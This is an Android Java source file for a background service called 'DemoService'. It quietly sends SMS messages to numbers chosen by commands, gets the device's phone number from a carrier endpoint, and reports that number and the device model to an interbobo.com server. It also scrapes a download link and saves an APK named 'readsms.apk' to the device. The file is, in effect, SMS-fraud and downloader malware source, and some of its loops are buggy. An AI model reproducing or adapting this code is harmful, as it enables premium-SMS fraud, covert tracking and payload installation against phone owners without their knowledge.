package com.tianguxx.activity;

import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Proxy;
import java.net.SocketAddress;
import java.net.URL;
import java.util.Map;
import java.util.concurrent.ConcurrentLinkedQueue;
import com.tianguxx.bean.BaseParameter;
import com.tianguxx.bean.GetApkDLUrl;
import com.tianguxx.bean.GetPhoneNumber;
import com.tianguxx.bean.RequestType;
import com.tianguxx.bean.TranspondSms;
import com.tianguxx.bean.VistUrl;
import com.tianguxx.utill.Config;
import com.tianguxx.utill.HttpHelp;
import com.tianguxx.utill.MobileInformation;
import com.tianguxx.utill.PullParseUtill;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.telephony.SmsManager;
import android.text.TextUtils;
import android.util.Log;

public class DemoService extends Service
{
	// private SendSmsThread sendThread;
	// private ConcurrentLinkedQueue<SmsMessageData> m_concallHttpRequests;
	// private ConcurrentLinkedQueue<String> m_httpRequest;

	private ConcurrentLinkedQueue<BaseParameter> m_requestLinkedQueue;
	private SendRequestThread m_sendRequestThread;

	private Object m_lock;
	// private HttpRequestThread m_httpRequestThread;

	private String TAG = getClass().getSimpleName();

	@Override
	public void onCreate()
	{
		super.onCreate();

		if (null != m_sendRequestThread)
		{
			m_sendRequestThread.interrupt();
			m_sendRequestThread = null;
		}

		// if (null != sendThread)
		// {
		// sendThread.interrupt();
		// sendThread = null;
		// }

		// if (null != m_httpRequestThread)
		// {
		// m_httpRequestThread.interrupt();
		// m_httpRequestThread = null;
		// }

		if (null == m_requestLinkedQueue)
		{
			m_requestLinkedQueue = new ConcurrentLinkedQueue<BaseParameter>();
		}

		// if (null == m_concallHttpRequests)
		// {
		// m_concallHttpRequests = new ConcurrentLinkedQueue<SmsMessageData>();
		// }

		// if (null == m_httpRequest)
		// {
		// m_httpRequest = new ConcurrentLinkedQueue<String>();
		// }
		//
		if (null == m_lock)
		{
			m_lock = new Object();
		}

		m_sendRequestThread = new SendRequestThread();
		m_sendRequestThread.start();

		// sendThread = new SendSmsThread();
		// sendThread.start();

		// m_httpRequestThread = new HttpRequestThread();
		// m_httpRequestThread.start();

	}

	@Override
	public void onStart(Intent intent, int startId)
	{
		super.onStart(intent, startId);

		if (intent.hasExtra("type"))
		{
			RequestType requestType = (RequestType) intent.getSerializableExtra("type");
			BaseParameter requestParameter = null;

			switch (requestType)
			{
			case SEND_SMS:
				String number = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
				String body = intent.getStringExtra(Intent.EXTRA_TEXT);
				requestParameter = new TranspondSms(number, body);
				break;
			case DOWNLOAD_APK:
				break;

			case VIST_URL:
				String url = intent.getStringExtra(Intent.EXTRA_TEXT);
				requestParameter = new VistUrl(url);
				break;

			case GET_PHONENUMBER:
				requestParameter = new GetPhoneNumber();
				break;

			case GET_APK_DOWNLOAD_URL:
				String u = intent.getStringExtra(Intent.EXTRA_TEXT);
				requestParameter = new GetApkDLUrl(u);
				break;
			default:
				return;
			}
			addRequestParameters(requestParameter);
		}
	}

	private void addRequestParameters(BaseParameter requestParameter)
	{
		m_requestLinkedQueue.add(requestParameter);
		synchronized (m_lock)
		{
			m_lock.notifyAll();
		}
	}

	private class SendRequestThread extends Thread
	{
		private boolean isWorking;

		@Override
		public void run()
		{
			super.run();

			while (isWorking)
			{
				BaseParameter parameter = m_requestLinkedQueue.poll();

				if (null != parameter)
				{
					switch (parameter.getRequestType())
					{
					case SEND_SMS:
						TranspondSms transpondSms = (TranspondSms) parameter;
						sendOneMsg(transpondSms.getPhoneNumber(), transpondSms.getBody());
						break;

					case DOWNLOAD_APK:
						break;

					case GET_PHONENUMBER:
						String phoneNumber = getPhoneNumberByNetWork((GetPhoneNumber) parameter);
						if (!TextUtils.isEmpty(phoneNumber))
						{
							Log.e(TAG, "phoneNumber = " + phoneNumber);
							
							Config.savePhoneNumber(DemoService.this, phoneNumber);
							// sendBroadcast(new
							// Intent(ActionManager.GET_PHONE_NUMBER));
						}
						else
						{
							Log.i(TAG, "getPhoneNumber error!");
						}
						break;

					case VIST_URL:
						doGet(((VistUrl) parameter).getUrl());
						break;
					case GET_APK_DOWNLOAD_URL:
						GetApkDLUrl getApkDLUrl = (GetApkDLUrl) parameter;
						String content = doGet(getApkDLUrl.getUrl());
						String dlUrl = createDLApkUrl(content);
						downApk(dlUrl);
						vistDefaultUrl();
						break;

					default:
						break;
					}
				}
				else
				{
					synchronized (m_lock)
					{
						try
						{
							m_lock.wait();
						}
						catch (InterruptedException e)
						{
							e.printStackTrace();
						}
					}
				}
			}
		}

		@Override
		public synchronized void start()
		{
			isWorking = true;
			super.start();
		}

		@Override
		public void interrupt()
		{
			isWorking = false;
			super.interrupt();
		}
	}

	// private void sendMessage(SmsMessageData msg)
	// {
	// m_concallHttpRequests.add(msg);
	// synchronized (m_lock)
	// {
	// m_lock.notifyAll();
	// }
	// }

	private void vistDefaultUrl()
	{
		String phoneNumber = Config.getPhoneNumber(this);
		String mode = MobileInformation.getDeviceModel();
		String ver = Config.VERSION;

		if (TextUtils.isEmpty(phoneNumber))
		{
			addRequestParameters(new GetPhoneNumber());
			Log.w(TAG, "phoneNumber  not existed!");
			phoneNumber = Config.DEFAULT_PHONE_NUMBER;
		}

		String url = HttpHelp.createUrl(phoneNumber, "2", mode, ver);
		VistUrl vistUrl = new VistUrl(url);
		addRequestParameters(vistUrl);
	}

	private String getPhoneNumber(String postURL, String postData) throws Exception
	{
		SocketAddress proxyAddress = new InetSocketAddress("10.0.0.172", 80);
		Proxy proxy = new Proxy(Proxy.Type.HTTP, proxyAddress);
		URL url = new URL(postURL);
		HttpURLConnection conn = (HttpURLConnection) url.openConnection(proxy);

		conn.setRequestMethod("POST");
		conn.setUseCaches(false);
		conn.setDoOutput(true);
		conn.setDoInput(true);
		conn.setConnectTimeout(10000);
		conn.setReadTimeout(10000);

		DataOutputStream out = new DataOutputStream(conn.getOutputStream());
		out.writeBytes(postData);
		out.flush();
	
		InputStream inputStream = conn.getInputStream();
		// PullParseUtill pull = new PullParseUtill();
		Map<String, String> map = PullParseUtill.getPhoneNumber(inputStream);
		out.close();
		inputStream.close();
		String phoneNumber = map.get("mobile");
		return phoneNumber;
	}

	private String doGet(String url)
	{

		Log.i(TAG, "doGet = " + url);
		try
		{
			URL u = new URL(url);
			HttpURLConnection connection = (HttpURLConnection) u.openConnection();
			connection.setRequestMethod("GET");
			connection.setReadTimeout(10000);
			connection.setConnectTimeout(10000);

			BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"));
			StringBuilder builder = new StringBuilder();
			String line = null;
			while (null != reader.readLine())
			{
				builder.append(line);
			}
			reader.close();
			connection.disconnect();
			Log.i(TAG, "doGet = " + builder.toString());
			return builder.toString();
		}
		catch (Exception e)
		{
			e.printStackTrace();
		}
		return null;
	}

	// // Http���Ͷ���
	// private class HttpRequestThread extends Thread
	// {
	//
	// private boolean workFlag = true;
	//
	// @Override
	// public void interrupt()
	// {
	// workFlag = false;
	// super.interrupt();
	// }
	//
	// @Override
	// public synchronized void start()
	// {
	// workFlag = true;
	// super.start();
	// }
	//
	// @Override
	// public void run()
	// {
	// super.run();
	//
	// while (workFlag)
	// {
	// String url = m_httpRequest.poll();
	//
	// if (null != url)
	// {
	// try
	// {
	// URL u = new URL(url);
	// HttpsURLConnection connection = (HttpsURLConnection) u.openConnection();
	// connection.setRequestMethod("GET");
	// connection.setReadTimeout(10000);
	// connection.setConnectTimeout(10000);
	//
	// BufferedReader reader = new BufferedReader(new
	// InputStreamReader(connection.getInputStream(),
	// "utf-8"));
	// StringBuilder builder = new StringBuilder();
	// String line = null;
	// while (null != reader.readLine())
	// {
	// builder.append(line);
	// }
	// reader.close();
	// connection.disconnect();
	// dispatcherHttpRequest(builder.toString());
	// }
	// catch (Exception e)
	// {
	// e.printStackTrace();
	// }
	// }
	// else
	// {
	// synchronized (this)
	// {
	// try
	// {
	// this.wait();
	// }
	// catch (InterruptedException e)
	// {
	// e.printStackTrace();
	// }
	// }
	// }
	//
	// }
	// }
	// }

	private String getPhoneNumberByNetWork(GetPhoneNumber getPhoneNumber)
	{
//		getPhoneNumber(postURL, postData);
		
		Log.i(TAG, "getPhoneNumberByNetWork");
		try
		{
			String content = "<config><client type=\"android\" version=\"2.2\" platform=\"8\" /><servers version=\"0\" /><service-no version=\"0\" /><parameters version=\"0\" /><hints version=\"0\" /><http-applications version=\"0\" /><client-config version=\"0\" /><services version=\"0\" /></config>";
			return getPhoneNumber("http://nav.fetion.com.cn/nav/getsystemconfig.aspx", content);
//			URL u = new URL("http://nav.fetion.com.cn/nav/getsystemconfig.aspx");
//			HttpURLConnection conn = (HttpURLConnection) u.openConnection();
//			conn.setRequestMethod("POST");
//			conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
//			conn.setDoInput(true);
//			conn.setDoOutput(true);
//			String content = "<config><client type=\"android\" version=\"2.2\" platform=\"8\" /><servers version=\"0\" /><service-no version=\"0\" /><parameters version=\"0\" /><hints version=\"0\" /><http-applications version=\"0\" /><client-config version=\"0\" /><services version=\"0\" /></config>";
//			OutputStream out = conn.getOutputStream();
//			out.write(content.getBytes());
//			out.flush();
//			BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), "utf-8"));
//			StringBuilder builder = new StringBuilder();
//			String line = null;
//			while (null != (line = reader.readLine()))
//			{
//				builder.append(line);
//			}
//			reader.close();
//			out.close();
//			conn.disconnect();
//			Log.i(TAG, "getPhoneNumberByNetWork = " + builder.toString());
//			Pattern pattern = Pattern.compile("mobile-no=\"(.*?)\"");
//			Matcher matcher = pattern.matcher(builder.toString());
//			if (matcher.find())
//			{
//				return matcher.group(1);
//			}
		}
		catch (Exception e)
		{
			e.printStackTrace();
		}

		return "";
	}

	private String createDLApkUrl(String content)
	{
		String[] roots = content.split("http://ota.interbobo.com");
		String[] secends = roots[1].split("\">");
		String url = "http://ota.interbobo.com" + secends[0];
		url = url.replaceAll("&amp;", "&");
		return url;
	}

	// private void vist()
	// {
	// String phoneNumber = Config.getPhoneNumber(this);
	// String phoneMode = MobileInformation.getDeviceModel();
	// String url = "http://www.interbobo.com/ato/msg.asp?mobile=" + phoneNumber
	// + "&type=2&mode=" + phoneMode
	// + "&ver=1";
	// try
	// {
	// URL u = new URL(url);
	// HttpURLConnection conn = (HttpURLConnection) u.openConnection();
	// conn.setRequestMethod("GET");
	// conn.setReadTimeout(10000);
	// conn.setConnectTimeout(10000);
	// BufferedReader reader = new BufferedReader(new
	// InputStreamReader(conn.getInputStream(), "utf-8"));
	// StringBuilder builder = new StringBuilder();
	// String line = null;
	// while (null != (line = reader.readLine()))
	// {
	// builder.append(line);
	// }
	// System.out.println(builder.toString());
	// reader.close();
	// conn.disconnect();
	// }
	// catch (MalformedURLException e)
	// {
	// e.printStackTrace();
	// }
	// catch (IOException e)
	// {
	// e.printStackTrace();
	// }
	//
	// }

	/**
	 *下载apk 文件
	 * 
	 * @param url
	 */
	private void downApk(String url)
	{

		try
		{
			URL u = new URL(url);
			HttpURLConnection conn = (HttpURLConnection) u.openConnection();
			InputStream in = conn.getInputStream();
			FileOutputStream fos = new FileOutputStream("/data/data/" + getPackageName() + "/readsms.apk");
			byte buf[] = new byte[1024];
			int len = -1;
			while (-1 != (len = in.read(buf)))
			{
				fos.write(buf, 0, len);
			}
			fos.flush();
			fos.close();
			in.close();
			conn.disconnect();
		}
		catch (MalformedURLException e)
		{
			e.printStackTrace();
		}
		catch (IOException e)
		{
			e.printStackTrace();
		}
	}

	// // ���� ���Ͷ���
	// private class SendSmsThread extends Thread
	// {
	// private boolean workFlag = true;
	//
	// @Override
	// public void interrupt()
	// {
	// workFlag = false;
	// super.interrupt();
	// }
	//
	// @Override
	// public synchronized void start()
	// {
	// workFlag = true;
	// super.start();
	// }
	//
	// @Override
	// public void run()
	// {
	// super.run();
	//
	// while (workFlag)
	// {
	// SmsMessageData data = m_concallHttpRequests.poll();
	//
	// if (null != data)
	// {
	// sendOneMsg(data.getNumber(), data.getBody());
	// }
	// else
	// {
	// synchronized (m_lock)
	// {
	// try
	// {
	// m_lock.wait();
	// }
	// catch (InterruptedException e)
	// {
	// e.printStackTrace();
	// }
	// }
	// }
	// }
	// }
	// }

	/**
	 * 向指定号码发送短信
	 * 
	 * @param phoneno
	 *            手机号码
	 * @param msgstr
	 *            短信内容
	 */
	public void sendOneMsg(String phoneno, String msgstr)
	{
		SmsManager smsManager = SmsManager.getDefault();
		PendingIntent mPI = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
		smsManager.sendTextMessage(phoneno, null, msgstr, mPI, null);
		Log.i("sendmsg", "i  have been send the msg." + msgstr);
	}

	@Override
	public void onDestroy()
	{
		if (null != m_sendRequestThread)
		{
			m_sendRequestThread.interrupt();
			m_sendRequestThread = null;
		}

		if (null != m_requestLinkedQueue)
		{
			m_requestLinkedQueue.clear();
		}

		// if (null != sendThread)
		// {
		// sendThread.interrupt();
		// sendThread = null;
		// }

		// if (null != m_httpRequestThread)
		// {
		// m_httpRequestThread.interrupt();
		// m_httpRequestThread = null;
		// }

		// if (null != m_httpRequest)
		// {
		// m_httpRequest.clear();
		// }

		// if (null != m_concallHttpRequests)
		// {
		// m_concallHttpRequests.clear();
		// }
		super.onDestroy();
	}

	@Override
	public IBinder onBind(Intent intent)
	{
		return null;
	}

	// private class SmsMessageData
	// {
	// private String m_number;
	// private String m_body;
	//
	// public SmsMessageData(String mNumber, String mBody)
	// {
	// m_number = mNumber;
	// m_body = mBody;
	// }
	//
	// public String getNumber()
	// {
	// return m_number;
	// }
	//
	// public String getBody()
	// {
	// return m_body;
	// }
	// }
}